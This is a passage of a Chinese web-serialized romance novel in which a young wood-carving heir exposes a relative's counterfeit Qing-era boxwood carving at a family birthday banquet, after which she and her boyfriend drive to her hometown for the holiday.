老太太第一次见孟棠,对她挺满意的,说:“小川的妈妈没什么心眼,性格有点虚张声势,你很好地抓住了这一点,你很聪明。” 孟棠笑了笑:“与其说我聪明,不如说阿姨更爱魏川。” 老太太更满意了,会说话,但不废话。 魏川悄悄和孟棠错了身,朝老太太得意地笑了笑。 宾客越来越多,第一时间都是来对老太太祝寿的,孟棠换了位置,和魏思沅躲在了安静的角落里。 “要不是我奶奶过寿,这样的宴会真不乐意参加。”魏思沅在她耳边小声道,“我知道你也不乐意。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟棠点了点头,刚要说什么,Vivian和郑霆晖走了过来。 魏思沅见到郑霆晖拔腿就走,郑霆晖朝孟棠点了点头,追了过去。 Vivian笑着跟孟棠“hi”了声,从侍者手中接过一杯香槟。 “好久不见。”孟棠也朝她打了个招呼。 “你今天很漂亮。”Vivian夸赞道。 孟棠也对她抹胸的红色礼服夸了一嘴,两人的气氛有些微妙。 有不熟的尴尬,又有两分想要亲近当朋友的心思。 最终还是Vivian问出了口:“你如果不介意的话,或许,我们可以做个朋友?” 孟棠笑道:“可以,只是我这个人可能会很无趣。” “我听说你会木雕啊?”Vivian眼眸亮了下,“我对这些东西很感兴趣,去年还拍了一套梳妆系列的木雕。” 孟棠来了兴趣:“哪个拍卖会啊?” Vivian说:“佳士得。” 孟棠自然也会关注木雕的拍卖情况,她想了想,说:“难道是楼水明的作品?” Vivian点了点头:“是,你真的很懂。” 孟棠说:“只是因为从事这一行,所以会关注。” 魏川喝了两杯酒,转头跟楚茵说:“妈,接下来你们自己应酬吧,我去找孟棠。” 楚茵应了声,回眸的瞬间看到了孟棠和Vivian在聊天。 这两人,怎么还挺熟悉的?孟棠知道Vivia喜欢魏川吗? 犹豫了半天,楚茵拍了拍魏立峰的手臂:“我去歇会儿。” 魏立峰微微颔首。 楚茵没跟着魏川去找孟棠,余光一直盯着三人聊天,直至孟棠去卫生间,她才跟了过去。 孟棠从卫生间出来,半路被楚茵截了胡。 她吓了一跳,问:“阿姨,您怎么在这儿啊?” 楚茵一把拉住她的手腕,将她往楼梯上拽了几步。 “我问你,你跟Vivian很熟吗?” 孟棠犹豫道:“刚刚熟悉。” 楚茵蹙眉:“她跟你聊了什么?” “木雕。”孟棠实话实说,“她说对木雕挺感兴趣的。” 楚茵的眉头皱得更深了。 这不是刺探敌情来了吧?这孟棠也真是傻。 可她现在要是告诉孟棠Vivian喜欢小川,她会不会闹啊? “阿姨?”孟棠叫了声楚茵,“您一直看着我,是有话跟我说嘛?” 楚茵干笑了声:“要不你还是离Vivian远一点吧。” “嗯?”孟棠一愣,“我能知道原因吗?” 楚茵一脸为难:“等宴会结束再告诉你,你赶紧去小川那里,他怎么跟Vivian聊起来了。” 孟棠被她推着转了身,走了两步才突然反应过来楚茵的意思。 孟棠轻笑一声,转头跟楚茵说:“阿姨,我在香港的时候就知道Vivian喜欢魏川了。” “呃……”楚茵愣了,“你不介意?” 孟棠摇摇头:“不介意,魏川这么优秀,喜欢他是人之常情。” “那是。”楚茵有点得意,觉得孟棠说到了点子上。 孟棠看透了楚茵的性格,笑道:“阿姨,我先过去了。” “去吧去吧。”楚茵对孟棠的满意加了一分。 孟棠过来后,Vivian就将空间给了小情侣。 魏川偷偷捏了下孟棠的耳垂:“我妈跟你说了什么?” 孟棠失笑,将楚茵的担心告诉了魏川。 魏川也没忍住,笑了声:“我妈这人,你接触久了就知道,怪可爱的。” “嗯,确实怪可爱的。”不是刀子嘴还豆腐心。 “走了。”魏川揽住孟棠,“马上开席了。” 孟棠跟着他往正厅去,还没坐下,正厅门口姗姗来迟几个人。 魏川嗤笑了声,表情一下冷了。 孟棠察觉到,问他:“谁啊?” 魏川说:“表舅的一家老小。” “是老太太那头的亲戚?” “是啊,当初我爷爷去世都没来,这会儿上赶着了,走,过去看看。” “等一下。”孟棠拽住他,“你看他们后面抬进来的是什么?” 魏川微微偏头看过去,说:“好像是木雕,付寒松你知道的吧?他以前跟爷爷私交很好,我爷爷就爱木雕,他们这是拿木雕讨好我奶奶来了?” 孟棠猛地睁大了眼睛:“鹤鹿同春?不可能吧?正品吗?” 魏川一愣:“什么鹤鹿同春?” 孟棠来不及给他解释,推了他一把:“走,过去看看。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第181章 味道不太对 一个跟魏立峰差不多大的中年人谄媚地走到老太太面前。 “姑,我带着一家老小给您祝寿来了。” 今天场面大,有头有脸的人也多,老太太也不能跟人家撕破脸,微微颔首:“入席吧。” “不急,几年没见,有很多话想要跟您说呢。” 魏立峰走过来,说:“宴席马上开始了,今天来了不少宾客,有什么事吃完饭再说吧。” 对方一听,脸上浮现一丝懊恼的尴尬,随即收敛神色,装听不懂,转头给后面抬着木雕摆件的人使了个眼色。 孟棠蹙了蹙眉,一件差不多40公分的中型木雕,还得两个人抬。 要么是真贵重,要么是刻意现眼。 果不其然,表舅又说话了:“姑,这是我家老爷子前些年在拍卖会上收藏的,今天送给您添个喜气。” “这可是个老物件,虽然局部补过雕,但也是清晚期的大师作品,手艺一绝的。” 孟棠垂头,抬手抵了下鼻尖,咳了声。 魏川搂住她,问:“怎么了?嗓子不舒服? 孟棠摇摇头,跟他小声耳语:“刚才叔叔已经说了入席,是提醒吧?” 魏川点了点头:“家里败落了,有事求过来的,求人办事,当然得拿出看家底的物件。” “那奶奶是什么态度?”孟棠问,“会帮吗?” 魏川摇头:“不会,但今天这种场合,也不好赶人,他们送过来的礼也没登记在册。” 孟棠明白了,她拽住魏川的胳膊,说:“听你这意思,是能直接当众翻脸的程度?” 魏川笑了声:“差不多吧,我爷爷去世的时候,报了三遍丧都没人来,奶奶恨着呢。” 孟棠踮了下脚,明显有话要说,魏川配合着将耳朵凑了过去。 “他这件鹤鹿同春应该是假的。” “假的?”魏川挑了下眉,“你一眼就看出来了?离那么老远呢。” 孟棠小声道:“因为真的在我家啊。” 魏川愣了下:“清晚期的真品,得多少钱?” “没有多少钱。”孟棠说,“据我所知,前几年拍卖会上就不同时期的真品,都被不同藏家拍走了,我家那个是我爷爷早年收的,和拍卖会上的品质比不了,搁现在也就百十来万。” 还是她压箱底的嫁妆之一呢。 早年孟家家大业大,即便被孟怀璋赌输了,也能说一句瘦死的骆驼比马大。 当初老宅里一切值钱的东西都被人搬走了,老爷子有先见之明,藏了几件宝贝,这么些年都没让它们见过光。 不过魏川的表舅也是费了一番功夫的,她家的鹤鹿同春摆件确实是局部补雕的,他送过来的应该是件高仿。 魏川心里有数了,笑了声后,人往前走了两步,还是给了一个台阶:“老舅,要不咱先吃饭?” “长辈说话,你一个小辈插什么嘴,我几年没见你奶奶了,想要跟她老人家叙叙旧。” 楚茵暗地里白了一眼,推了下魏立峰,让他赶紧解决。 魏立峰拍了拍楚茵:“你儿子出来了,我就往后靠靠吧,他发疯没什么,顶多说句孩子不懂事,我要是跟对方起了冲突,就叫不体面了。” 楚茵没再说话。 “我奶奶早上起得早,这会儿也饿了。”魏川说着就去搀扶老太太,“奶奶,我带您吃饭去?” 老太太笑了声,刚要起身,表舅又开始舞了:“姑,这边还有几个孩子没介绍给您认识呢?” 老太太又坐了回去。 魏川没让他介绍,指了指案几上的摆件,打断他的节奏:“表舅,这是送给我奶奶的?东西看着不错啊,哪儿拍的啊?” “老头子在世时弄来的,搁家里好久了,姑父在世时对木雕就有研究……” 说着说着,表舅哭了起来,他拉住老太太的手,悔恨不已:“当初的事,两家都有难处,姑,现在我——” “孟棠。”魏川打断在别人寿宴上哭丧的伥鬼,转头对孟棠招了招手,“你不是喜欢木雕吗?过来看看呗,真品呢,难得一见。” 表舅忙擦了下不存在的眼泪,挡了下过来的孟棠,说:“你们小年轻哪儿懂得木雕,这类藏品只可远观。” “表舅小气了不是,我女朋友会雕刻,真品难得,看一看也无妨吧?”魏川笑了声。 楚茵和魏立峰对视了眼,直觉其中有猫腻。 魏立峰给了她一个眼神,楚茵立刻笑道:“是呢,小川的女朋友姓孟,她爷爷啊,是黄杨木雕的大师孟遇春,你就给她看一眼呗,就当给年轻人见一见世面。” 表舅犹豫了一瞬,将目光落在了孟棠身上,毫无威胁性。 小丫头片子一个,能看出什么门道来。 表舅心里不屑,让开了位置。 孟棠朝魏川轻轻笑了笑,问表舅:“请问这件木雕是什么时候收来的?” 表舅哼了声,说了时间。 “四年前……”孟棠故作惊讶,“我记得爷爷跟我说过,关于鹤鹿同春主题的木雕,拍卖会上,出现过清朝三个时期的作品,早期的确实在四年前以700万人民币被藏家拍了,至今无人知晓是谁拍的。” 本小章还未完,请点击下一页继续阅读后面精彩内容!“中期那件是东南亚藏家的专场拍卖,前年现身新加坡富豪的私人工艺美术馆。” “表舅这件我看着像晚期的,难道是21年东湖木韵千年的那场拍卖会?” 周遭的人一听,全都围了过来。 其中一个穿着铁灰色西装,戴眼镜的中年男人问了句:“小丫头,你还真懂行啊。” 看一眼说出那么多的门道来。 孟棠下意识抬眼,魏立峰抬了抬手,给她介绍:“旭天文化公司的合伙人,你跟着小川叫一声赵叔就成。” 孟棠微微颔首,打了招呼。 赵行衍来了兴趣,问表舅:“真的像小丫头说的那样,是东湖木韵千年的那场拍卖会?” “是啊。”表舅的心一点不虚,毕竟做了功课过来的。 赵行衍对孟棠竖起大拇指:“你还挺厉害,看一眼就能知道是什么时期的真品?” 孟棠的心倒是有些虚了,她也没神到那个地步,只不过正好撞到她家里有个真的而已。 不过鹤鹿同春这种主题的木雕确实有不同时期的真迹,关于拍卖的信息也是实打实的。 早期的被拍了700万,这两年早就涨了上去,魏川的表舅不可能拿这么贵的东西过来贺寿。 中期的还在新加坡,也就只剩晚期这件略有瑕疵的作品了。 “那是,也不看是谁的女朋友。”魏川顺势夸了一波,“不仅能看,她还会雕刻,除此之外还会修复。” 赵行衍惊了:“修复都会?你才几岁啊?” 孟棠谦虚道:“跟着爷爷学了皮毛而已。” “那你赶紧看看这尊鹤鹿同春,有没有点说法?”赵行衍有些激动,“哦,我的意思是品鉴一下。” 孟棠故作谦虚:“我怕我说的不好。” 魏川在一旁搭腔:“说说而已,没什么的。” 表舅在心里哼了声,他就不信一个小丫头片子能看出什么来。 既然出身木雕世家,知道些拍卖会的信息也很正常。 赵行衍摊开手,对孟棠做了个“请”的手势。 “行吧。”孟棠一副恭敬不如从命的模样,“我看看。” 她对魏川说:“去给我找一副没用过的白手套。” 魏川立刻应了声,转头将玻璃罩给她取下来。 孟棠围着转了一圈,所有人的视线不由自主地跟着她晃。 要不是自己家有一座真的,第一眼还真看不出来。 孟棠半晌没说话,人群里开始窃窃私语: “她在干什么?” “这么小的年纪,确定能对清晚期的东西说出点名堂来?” “看外表,也不是浮夸的人,再等等看。” “若是说不出来,也够丢人的。” “小年轻胡闹罢了,当热闹看呗。” “魏川还挺宠她女朋友,这要是说岔了,确实尴尬。” “说不准啊,小姑娘看着有点文化。” 质疑声越来越多,赵行衍的心都吊到了嗓子眼儿,他看向魏立峰,眼神询问他要不要解个围。 魏立峰摇了摇头,示意他稍安勿躁。 又过了五分钟,孟棠直起了身体,说:“奇怪啊,味道不太对。” 赵行衍忘记了自己让孟棠鉴赏的目的,下意识追着问:“哪儿不对?” 表舅脸色一僵,说:“黄杨木不都这味儿吗?” 孟棠摇了摇头,低头嗅了下: “如果是清代的话,木头已经氧化百年,会透出一股淡淡的香,有点像……老宣纸的味道。”孟棠顿了顿,“还有一些木脂的陈味,这种味道就是放得太久远的意思。” “但这尊摆件里散发的味道,像是松节油,还被薄薄的一层发僵的蜡给封了。” 赵行衍急忙问:“这代表着什么?” 孟棠故作尴尬地笑了笑:“呃……应该是怕人闻到破绽。” 魏川在这时拿了手套过来,他递给孟棠后,笑了声: “老舅,您不会被骗了吧??” 老舅老脸一僵,指着孟棠:“别给我血口喷人啊,你说什么就是什么了?” 魏川用手背格挡住他的手:“老舅,你这样指着晚辈不太礼貌吧?” 孟棠戴上手套,无辜地眨了眨眼,随后摸上木雕,说: “我没说谎,不信的话我说给你听。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第182章 当高山仰望高山,爱情也就来了 来打秋风的老舅有点慌了,他“嗐”了声:“时间不早了,大家还是先入席吧。” “请稍等。”赵行衍冒昧地挤了进来,“要不还是让她说完吧,这话说一半,堵着多难受啊。” “是啊。”一旁有人搭腔,“已经耽误了一会儿,也不怕再等几分钟。” 表舅刚要反驳,老太太乐呵呵笑了声:“听着是挺有趣的,既然大家还不饿,就把这场热闹看完吧。” 天大地大,寿星最大,在场年纪最大的一个人发了话,又是人家的宴会,谁还敢说话。 孟棠转过身,朝老太太微微颔首致意。 魏川掌心推了下她的后腰,说:“没事,你说你的。” 孟棠清了清嗓子,继续说:“老黄杨的包浆是经年累月形成的,摸上去像温润的玉,侧着点角度,能看见一层淡淡的琥珀色的光晕。” “但摆着的这件是涂了透明漆的,漆没干透就被人盘来盘去,形成了人工包浆,也就没有岁月走过的痕迹。” 孟棠摸上木雕一处凸起,说:“一般这样的情况,凸起的地方的包浆会比凹下去的地方更厚一些。” “你说厚就厚。”表舅真的有些慌了。 这小丫头真是有两把刷子。 不懂行的人也摸不出来,况且还要戴着手套。 孟棠轻轻嗤了声,点了下仙鹤的喙:“清代匠人讲究铁笔生花,会顺着木头的性子而下刀,这里是斜刀切入,但刻意模仿了当时匠人的一刀定型,有不太显眼的木纹切断的痕迹,有放大镜的话应该可以看清楚。” 之后,孟棠依次说了几处细节,让人无法反驳。 想反驳也反驳不了,因为没一个懂的,可莫名的,他们竟然都相信孟棠。 这一套一套的专业名字,现背都背不出来。 赵行衍彻底开了眼界,惊讶地问了句:“所以……这座鹤鹿同春是假的?” 孟棠点了点头:“确实是假的,不过即便是高仿,也有一定的技艺水准,形制把握挺准确的,做旧工艺也处理得很自然,刀法也可圈可点,整体上来说,是有些价值的。” 赵行衍拍了拍手,一脸敬佩地看着孟棠:“你这小姑娘,看着年纪小,实则老道专业,你什么时候学的木雕?” “五岁。”孟棠笑了笑。 赵行衍拍了拍魏立峰的肩膀,表示了肯定。 “不是,你说假的就是假的。”表舅不开心了,“你张嘴胡诌啊你,安的什么心。” 魏川朝远处的服务生喊道:“让你们安保过来,把人撵出去。” 已经够给他们脸了。 “姑,你可不能这样啊,一个小丫头而已,怎么能说我这个是假的,即便是假的,说不定我也被骗了呢。” 魏川冷笑一声:“听听自己的说辞前后矛不矛盾,当初我爷爷去世,报了三次丧你们没来,今天没直接撵你出去都是客气的。” 安保很快过来,将人请了出去。 今天现场过来的,都是亲密的合作伙伴和亲朋好友。 对于魏家老爷子的事都有耳闻,也就没人会碎嘴魏川的所作所为。 魏立峰见事情解决,招呼了一声,安排所有人进了席位。 Vivian趁机走过来,对孟棠笑了笑:“我终于知道他为什么会喜欢你了。” 年轻人都在一桌,孟棠和Vivian一道坐下,笑了声:“为什么?” Vivian说:“你刚才的样子充满着难以抗拒的魅力,我当初跟他告白的时候,你猜他说了什么?” 孟棠摇了摇头,心里十分好奇。 Vivian凑近,跟孟棠说:“他说他从小到大见过太多太多漂亮的女生,他不在乎外貌,更看重内在。” “但凡读过书,有修养的正常人都有点内在,但并不是每个人的内在都能打动他。” “你在专于自己所擅长的领域时,会不自觉地吸引所有人的目光,而魏川,只是其中之一。” “当高山仰望高山,爱情也就来了。” 孟棠一怔,魏川正好走过来,拍了下她的肩膀:“发什么愣,吃饭啊。” 孟棠朝他笑了笑,拿起了筷子。 Vivian的话在孟棠心里留下了深刻的痕迹,像刻刀凿入木头,经由岁月变迁都不会轻易断裂。 一场寿宴到下午三四点才结束,送完了宾客,魏川搂着孟棠在沙发上休息。 明天是周日,魏思沅瞥了眼两人,问:“要不一起回去?今晚就在家住一晚。” 孟棠下意识看向魏川,魏川直接拒绝了:“不去,我们回康铂。” 楚茵拖着沉重的步子走过来坐下。 魏川抬眸,问:“奶奶走了?” 楚茵垂了下肩膀:“送回去了,这里也差不多了,你跟孟棠跟我们一起回吗?” 魏川说:“你们先走吧,我们待会儿回康铂了,孟棠明天还要回学校,她工作室一堆的事。” 楚茵不太理解:“工作室?” 魏川说:“院系里的木雕工作室,她这学期雕大件,向学校申请了专属工台,整天泡在里面。” 这章没有结束,请点击下一页继续阅读!楚茵顿了顿,对孟棠说:“还是要注意下身体,我以后让阿姨给你煲汤送去学校,你们学校的饭菜还可以,但没有正儿八经的营养汤,家里那些炖汤的食材,你们学校也不可能有。” “这个主意好。”魏川第一个点头同意,“她太瘦了。” 孟棠抵了下魏川:“……不用了吧?太麻烦了。” “不麻烦,每天让司机送过去就成,你吃完再让他带回来。” 孟棠:“……” 魏川说:“妈,算了吧,天天送是有点麻烦,还得让她在司机面前喝,她不习惯的。” “行吧。”楚茵有点落寞,“那我们就先走了,你跟孟棠回去注意安全。” 孟棠起身相送。 楚茵走到酒店门口,还回眸看了眼。 坐进车里后,魏立峰转头问她:“看什么呢?” 楚茵说:“孟棠看着是有些瘦,整天还有那么多体力活,我担心身体会吃不消。” “而且他们以后要是结婚的话,也得调理身体要孩子啊,调理的过程本就慢,还不如现在就开始行动。” 魏立峰:“……我说你想得真远,这话不要在小川面前提起,他一准跟你吵。” “这有什么好吵的。”楚茵哼了声,“看小川那样,是认定了她,毕业就算不结婚,也得订婚吧?” 魏立峰:“结婚的事你操什么心,你只管给钱就行,而且……” “而且什么?”楚茵白了一眼魏立峰,“话说一半干什么?” “而且以后住不住z市都难说。”魏立峰瞥了眼楚茵。 楚茵愣了下:“这话什么意思啊?他们不住z市住哪儿?” 魏立峰看着她:“你说呢?” “雁清?”楚茵猛地从座椅上弹起来,“小川跟你说的?说他以后跟孟棠回雁清?” “稍安勿躁。”魏立峰按住她,“雁清是黄杨木雕的发源地,孟棠有身份绑定,是非遗传承人,政策要求传承人必须常住申报地。” 楚茵目光呆滞:“也就是说,我儿子以后相当于入赘啊?” 魏立峰失笑:“也不能这么说吧,雁清是有技艺传承的地域特殊性的,孟棠也没法选择,更何况她家里还有个老人需要照顾。” 楚茵怀疑魏立峰在给自己洗脑,她歪着身体,对魏立峰说: “我可就这一个儿子。” 魏立峰“哦”了声:“那就设想一下,假如他们毕业后住在z市,你觉得会跟我们一起住吗?” 楚茵顿时不说话了。 魏立峰拍了拍她的手:“你管他干什么,管得越多越不好,少给自己找罪受。” 楚茵只能说,她得学习她老公的心态。 搞人心态的两位,在酒店休息了半个小时后返回了康铂。 刚坐下没多久,魏川的手机收到了体育公益的活动通知。 孟棠见他手指不停地打字,问了句:“干什么呢?” “一个体育公益的活动。”魏川说,“教练跟我确认呢,我回复一下。” 孟棠“嗯”了声,枕着他的腿躺了下去。 魏川趁机低头亲了下,又继续回消息去了。 孟棠的手机响了起来,她拿出来一看,是孟遇春的来电,赶紧接了。 “今天怎么样?”老爷子直奔主题。 孟棠说:“挺顺利的,就是碰到了一件赝品,跟咱家的鹤鹿同春一模一样。” 孟遇春失笑:“所以你打假去了?” “要不是家里有真的,我第一眼还真看不出来。”孟棠说,“技艺挺好的,也不知道怎么作假去了。” “还能是什么,钱呗。”孟遇春说,“马上国庆了,今年回不回来?” “回的。”孟棠说,“虽然整天在视频里学雕大件,但隔着屏幕,总觉得少什么,还是回去一趟。” 孟遇春沉默了几秒,说:“回来也行,你爸反正也领证了。” 孟棠一愣,这么快? 但转念一想,他俩这么大岁数了,也不办酒席,可不就是领个证就好了。 挂了电话,孟棠有些发愣。 魏川碰了下她的脸,问:“怎么了?” 孟棠摇摇头:“没什么,爷爷打来电话,问国庆节回不回去。” “你怎么回答的?” “回啊。”孟棠看着他的眼睛,“你呢?这次还陪我一起吗?” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第183章 大结局(上) 魏川低头,和孟棠鼻尖相抵:“队里国庆还是放三天,到时候我陪你一起回。” “好。”孟棠闭上眼睛,“有点犯困了。” “别睡。”魏川故意去撑开她的眼皮,“马上到饭点了,现在睡,夜里容易被饿醒。” 孟棠拍了下他的手,侧过身体:“那你把电视打开,随便找个纪录片看一下。” 魏川失笑:“别人追剧看综艺,你倒好,看纪录片。” “小时候就没少看。”孟棠说,“一开始也看不下去,后来就习惯了,孟老严选。” 第一次见孟棠吐槽孟遇春,魏川觉得好笑,一边开电视一边让孟棠给她讲讲小时候。 “过两天回去你自己问呗。”孟棠不知道该从哪里讲起,“我记得家里也有一本小时候的相册。” “也?”魏川抓到重点,“还有谁有小时候的相册?” “你呗。”孟棠拿出手机,打开相册给魏川看,“cubal的总决赛前两天,在嘉嘉姐的别墅里拍的,住的也是你以前的房间。” 魏川抓住她的手腕,发现她拍了自己中学时期的照片,笑了声:“帅不帅?” 孟棠点了点头:“跟现在区别不大,比现在瘦一点。” 魏川说:“那会儿还没这么高,不过在班里已经是最高的了,永远都坐最后一排。” 纪录片在当背景音,孟棠躺在魏川的腿上转过了头,微微轻蹙的眉心似在思考。 魏川垂眸询问:“想什么呢?” 孟棠说:“我在想,我高中的时候,最后排的男生都是什么样的。” “还能什么样啊?”魏川按照自己套模板,“招狗逗猫呗,这个嫌那个也嫌,不是手欠就是嘴欠。” 孟棠用手指碰了下他的嘴巴:“你呢?手欠还是嘴欠啊?” 魏川握住她的手腕,把在掌心反复摩挲,说:“我哪个也不欠,因为手欠嘴欠的都是有喜欢的人才这样。” 这话太有理了,孟棠无法反驳,仔细想想,还真是这样。 孟棠攀住他肩膀坐了起来,几乎贴着他的眼睛问:“你就没有暗恋的人?” 魏川从喉间溢出一声浅笑,长臂一揽,将孟棠抱进了怀中,搁在腿上坐着。 他的视线从孟棠的唇瓣扫到眼睛,故意道:“有的话怎么办?” 孟棠哼了声:“所以真有啊?” “有个屁。”魏川往前凑了下,“你看我像是搞暗恋的人吗?” 孟棠:“……” 她有句话不知该说不该说。 魏川一眼就明白她在想什么,推了下她的额头:“赶紧揭过这一茬吧,我现在想起我俩对上许鹤清两口子的事,只有尴尬。” 孟棠笑了声:“咱俩这也算阴差阳错了吧?” “我瞬间爱上这个词。”魏川啄了下孟棠的唇,“我都不敢想,要是许鹤清和谢泠音没有早早在一起,咱俩会是什么样的结局。” 孟棠搂住他的脖颈,小声说:“或许,从我们再次相遇的那一刻,缘分已经改写了。” 魏川一把按住孟棠的后颈,莽撞地亲了上去。 她说的不错,缘分从他们的第二次相遇开始改写。 亲了不知多久,魏川松开了孟棠,黏黏糊糊地将人抱在怀里,舍不得撒手,直至魏川的手机响了起来。 孟棠起身,坐到一旁的沙发上。 魏川见是楚茵的电话,当即接了:“喂,妈。” 楚茵在电话里问:“还有几天就国庆了,我和你爸,还有你三姐去首都待几天,你跟孟棠要一起吗?” 魏川摇了摇头:“不了,孟棠回家还有事呢,以后有机会的吧。” “那你跟着去吗?”楚茵又问,“你今年放几天假?” 魏川回:“三天假,我陪她一起回。” 楚茵:“那你开车回去吧,我给你车里准备一些东西。” 魏川挑了下眉:“什么东西?” “适合老人的营养品,还有一些杂七杂八的。”楚茵给他解释,“孟棠给你奶奶送的笔筒挺贵重的,不过我不是因为这个才给你准备这些,你现在和人家确定了恋爱关系,还几次三番上了人家的门,这不就是奔着结婚去的,空着手难不难看?一点礼数都没有。” 魏川虚心受教:“知道了,能装多少装多少,她家里还有个阿姨,帮着照顾老爷子的,您也给准备一些,我在雁清没少让人家照顾。” 楚茵应了声,挂了电话。 孟棠扭过脸,问:“阿姨吗?” “嗯,问我国庆节的安排。”魏川说着又拿出手机,“今晚就不去楼上的餐厅了,让管家把晚饭送过来吧。” 孟棠点了点头:“行。” 虽说有楚茵准备着,魏川第二天还是抽空回了一趟家。 第一时间就去了车库,开了自己的后备箱,结果空空如也。 魏川进了主屋,没见着楚茵,拦着了家里的阿姨:“我妈呢?” “太太在楼上休息呢,少爷您怎么这个点回来了?” 魏川指了指车库的方向:“我妈不是说给我准备了东西吗?车里怎么是空的?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“离假期不是还有几天嘛,太太说明天一起搬上车。” 魏川:“东西呢,带我去看看。” 东西就搁客厅沙发后的柜子边,魏川去看了看,日常营养品、茶叶、酒……基本上都备齐了。 还有两匹上好的布料,颜色像给女性的,应该是给方姐的。 魏川转头跟阿姨说:“再准备一点燕窝。” “有的,在下面呢。” “行,让人现在就搬我车上。”魏川摆了下手,“忙去吧,我上楼看看我妈。” “好。” 楚茵午休刚起,看到魏川还愣了下。 魏川笑着给她倒了杯温水,看了眼时间,说:“妈,您今天睡的时间有点长啊。” 楚茵接过温水:“你怎么回来了?” “回来开车,顺道跟您说一声,到时候我和孟棠直接从学校走,怕堵车,我们提前半天。” “行,那你帮我和你爸给老爷子带声好。” “好,那您休息,我走了。” “别急。”楚茵拉住他,“这次去雁清,你再注意一下孟棠爸爸的情况,我听你爸说他已经搬走了,结婚了。” 魏川“嗯”了声:“知道,绝不会再让他出来惹祸。” “行,你去吧。” 魏川将车开回了学校。 孟棠得知魏川开车回去,特地在网上买了个大箱子。 学校衣柜的容量太小,每年换季都得将衣服带来带去。 今年倒是不用送回去了,但也要装好送康铂去。 魏川早就等在楼下了,见孟棠从寝室楼出来,忙接过了她的箱子。 上车后,孟棠笑道:“我还是第一次回家不带箱子。” 她本来要带的,魏川没让,康铂公寓准备的衣服太多,穿都穿不完。 “先把这些衣服送公寓去。”魏川说,“正好也顺路。” “好。”孟棠系上了安全带。 到康铂后,两人都没下车,让公寓的服务人员将箱子送了上去,之后,路虎直奔高速。 刚上高速没多久,方姐打了电话过来,问他们什么时候到。 “刚上高速呢,晚饭肯定是赶得上的。” “我今天做了醉蟹钳,小魏应该爱吃。” 孟棠失笑:“你做什么,他都爱吃。” “注意安全啊,我跟老爷子在家等你俩。” “好。” 挂断电话,孟棠说:“方姐给你做了醉蟹钳,很开胃的。” 魏川说:“我感觉我现在都流口水了。” 说来也奇怪,他什么山珍海味没吃过,可方姐做的饭独有一种说不出来的味道,最起码很合他的胃口。 “赶紧开你的车,路过服务区休息一下。” “没事,这才几个小时。”魏川说,“你怎么不去考一个驾照?” “我考驾照干什么?”孟棠对开车一点兴趣都没有,“我在雁清,一辆电车就够了。” 魏川就是随口一问,笑了声:“行,爱干什么干什么,反正有我给你当司机。” “辛苦啦。”孟棠歪头一笑,“吃糖吗?” “现在不吃。”魏川意味深长地笑了声。 孟棠没听懂,径自拿了一颗塞进了自己口中。 之后她没再打扰魏川开车,音乐听着听着睡着了。 魏川没进服务区,一路开回了雁清。 孟棠是下高速的时候醒的,醒来看着两边熟悉的街景都有点懵。 “什么时候了?” 魏川笑着回:“四点半了。” “我睡了那么久啊?”孟棠撑着自己坐好,“你没在服务区叫醒我吗?” “我看你睡得香,就没停。”魏川打着方向盘,一圈又一圈转下了高速。 孟棠拿了瓶纯净水喝了点,随后给方姐打了电话。 方姐:“是不是快到了?” 孟棠:“刚下高速,差不多五点二十到,您该准备就准备吧。” 她想魏川开了这么久的路,到家能吃上一口热饭。 方姐高兴地应了声,随后挂了电话。 下高速后的半小时,路上开始堵车,算得上龟速行驶。 孟棠有点难受,开了点窗户,好在二十分钟后,路面开始顺畅起来。 回到家时,迟了十来分钟。 魏川见孟棠的脸有些白,解开安全带后,摸了一把她的脸:“怎么看着不舒服?” 孟棠朝他笑了笑:“没事,之前堵车,走走停停的有点晕车,我吃一颗橘子糖就好。” 魏川替她解了安全带,从储物箱里拿出糖盒,给她找了一枚橙色的硬糖。 “张嘴。” 孟棠张开嘴巴,将喂到嘴边的橘子糖含进了口中。 酸甜交织,缓解了一丝晕车的难受。 “我没事了。”孟棠转头跟魏川说,“先下车吧,把后备箱里的东西先拿下来。” 魏川盯着她,说:“我也想吃糖。” “吃呗。”孟棠将糖盒递给他,“自己挑一个。” 魏川将糖盒塞进储物箱里,说:“刚才给你的是最后一颗橘子味的。” “呃……”孟棠莫名愣了下,“我再给你买?” 魏川故意闹她:“我现在就想吃。” 孟棠:“……” 她总不能吐出来吧? 想起进门后亲一下就得被老头斧头威胁的魏川,一把揽过孟棠的后颈,亲上去,从她口中勾走了温热黏湿的糖。 孟棠眸光呆滞,半晌没反应过来。 魏川轻笑一声,用食指勾住她的下巴:“发什么愣啊,下车了。” “你——”终于回神的人羞红了脸,“你真的……” 简直不知羞耻的胡闹! “我怎么了?”魏川下了车,回头咔滋咔滋嚼碎了糖,“还不下车?等着我再亲你一个?” 这嘴是真欠,孟棠白了他一眼,推开了车门。 魏川将后备箱的礼品全都拿了出来,将轻的都给了孟棠,自己两只手挂满了。 还没进大门,嗓子就扯开了:“老头,我们回来了!” 孟棠跟在后面,听到他的称呼,差点没踩空。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第184章 大结局(下) 孟遇春老远听到魏川的鬼叫,朝方姐斜了一眼:“你看看他,没大没小的。” 方姐将最后一道黄豆焖猪脚起锅,笑了声:“我看您挺乐意的啊。” 孟遇春嗤笑了声:“谁乐意了,等他进来,看我不数落他两句。” 话音刚落,魏川进了院子,扬了扬手上的礼品:“我都这样了,还数落我?” 孟遇春噎了一瞬:“买那么多东西干什么?上次买的茶叶还没喝完。” “我爸妈准备的。”魏川在老爷子面前蹲下,“这也不要啊?” 孟遇春笑了声:“送进去吧。” “好嘞。”魏川给了孟棠一个wivk,“跟我一起把东西送进屋里。” 这张嘴是真甜啊,孟棠跟着魏川进了屋,将楚茵送来的礼品全都分了类,然后送到了老爷子和方姐的房间。 至于燕窝一类的东西,魏川单独拿了出来:“这些要吃的得保存一下,上面都有保存的方法,我去拿给方姐。” 方姐早年在孟家,也是有过见识的人,魏川将东西给她后,她分门别类地储存了起来。 “明早给你和小棠清炖。”方姐乐呵呵道。 “赶紧别给我炖,我不吃这玩意儿。”魏川一脸嫌弃。 方姐失笑:“怎么跟老爷子说一样的话。” 魏川哼笑:“不是一家人,不进一家门呗,既然这样,给你和孟棠炖,我俩大老爷们就算了,真不爱吃。” 